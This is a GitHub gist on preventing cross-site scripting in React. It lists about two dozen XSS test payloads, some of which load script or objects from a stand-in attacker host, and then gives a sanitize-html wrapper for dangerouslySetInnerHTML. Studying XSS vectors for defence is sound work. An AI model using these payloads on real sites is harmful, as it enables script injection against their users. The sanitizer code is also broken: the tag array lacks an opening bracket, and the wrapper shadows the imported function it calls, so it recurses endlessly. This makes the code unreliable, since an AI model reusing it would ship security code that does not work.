Skip to content

Instantly share code, notes, and snippets.

@scabbiaza
Last active December 29, 2023 07:44
Show Gist options
  • Save scabbiaza/ef300300e8f8db838b71 to your computer and use it in GitHub Desktop.
Save scabbiaza/ef300300e8f8db838b71 to your computer and use it in GitHub Desktop.
ReactJS - prevent XSS vulnerability
// Theory
// http://htmlpurifier.org/live/smoketests/xssAttacks.php
// https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
// A full collection of HTML5 related XSS attack vectors:
// https://github.com/cure53/H5SC https://raw.githubusercontent.com/cure53/H5SC/master/vectors.txt
// Short list
<script>alert("XSS: script tag")</script>
<script src="http://hackers-site.powertofly.com"></script>
<<script>alert("XSS: script tag - extra bracket")</script>
<a href="javascript:alert('XSS: href attribute')">link</a>
<img src="javascript:alert('XSS: src attribute')"/>
<img dynscr="javascript:alert('XSS: src attribute')"/>
<img lowscr="javascript:alert('XSS: src attribute')"/>
<img src="vbscript:msgbox('XSS: vbscript')"/>
<img src="jav\tascript:alert('XSS: src attribute')"/>
<img src="http://hackers-site.powertofly.com/path-to-the-script.js"/>
<img src="javascript:alert('XSS: src attribute')" onError="javascript:alert('XSS: onError')"/>
<body background="javascript:alert('XSS: background attribute')">
<body onload="alert('XSS: onLoad event')">
<div style="background-image: url(javascript:alert('XSS: inline style rules'))"></div>
<div style="width: expression(//alert('XSS: inline style expression'))"></div>
<frameset><frame src="javascript:alert('XSS: frameset')"></frameset>
<iframe src="javascript:alert('XSS: iframe')"></iframe>
<input type="image" scr="javascript:alert('XSS: input[image]')"/>
<style type="text/javascript">alert('XSS: styles')</style>
<style>li {list-style-image: url("javascript:alert("XSS: styles")");}</style>
<ul><li>XSS</li></ul>
<meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS: meta');">
<object TYPE="text/x-scriptlet" DATA="http://hackers-site.powertofly.com"></object>
<embed SRC="http://hackers-site.powertofly.com/1.swf" AllowScriptAccess="always"></embed>
// https://facebook.github.io/react/tips/dangerously-set-inner-html.html
// By adding user data to the DOM, ReactJS works with it as with the string.
// So you should not worry about XSS, unless user data will content markup.
// To keep markup you need to use `dangerouslySetInnerHTML` attribute:
// `<div dangerouslySetInnerHTML={{__html: sanitizeHtml(userContent)}}></div>`
//
// And this is where XSS can happen.
// To protect your app use additional HTML sanitizing: https://www.npmjs.com/package/sanitize-html
import assign from "lodash.assign";
import sanitizeHtml from "sanitize-html";
// Basic configuration
let CONFIG = {
allowedTags: "p", "div", "h4", "h5", "h6", "ul", "ol", "li", "a", "em", "strong", "br", "span", "b", "i"],
allowedAttributesByTags: {"a": ["href", "title"], "img": ["src", "alt", "title"]},
allowedSchemas: ["http", "https"],
};
function sanitizeHtml(data, settings) {
let defaultSettings = {
allowedTags: CONFIG.allowedTags,
allowedAttributes: CONFIG.allowedAttributesByTags,
allowedSchemes: CONFIG.allowedSchemas,
};
settings = assign(defaultSettings, settings);
return sanitizeHtml(data, settings);
}
// Everywhere where you need to keep markup in user data, use sanitizeHTML function:
<div dangerouslySetInnerHTML={{__html: sanitizeHtml(userContent)}}></div>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment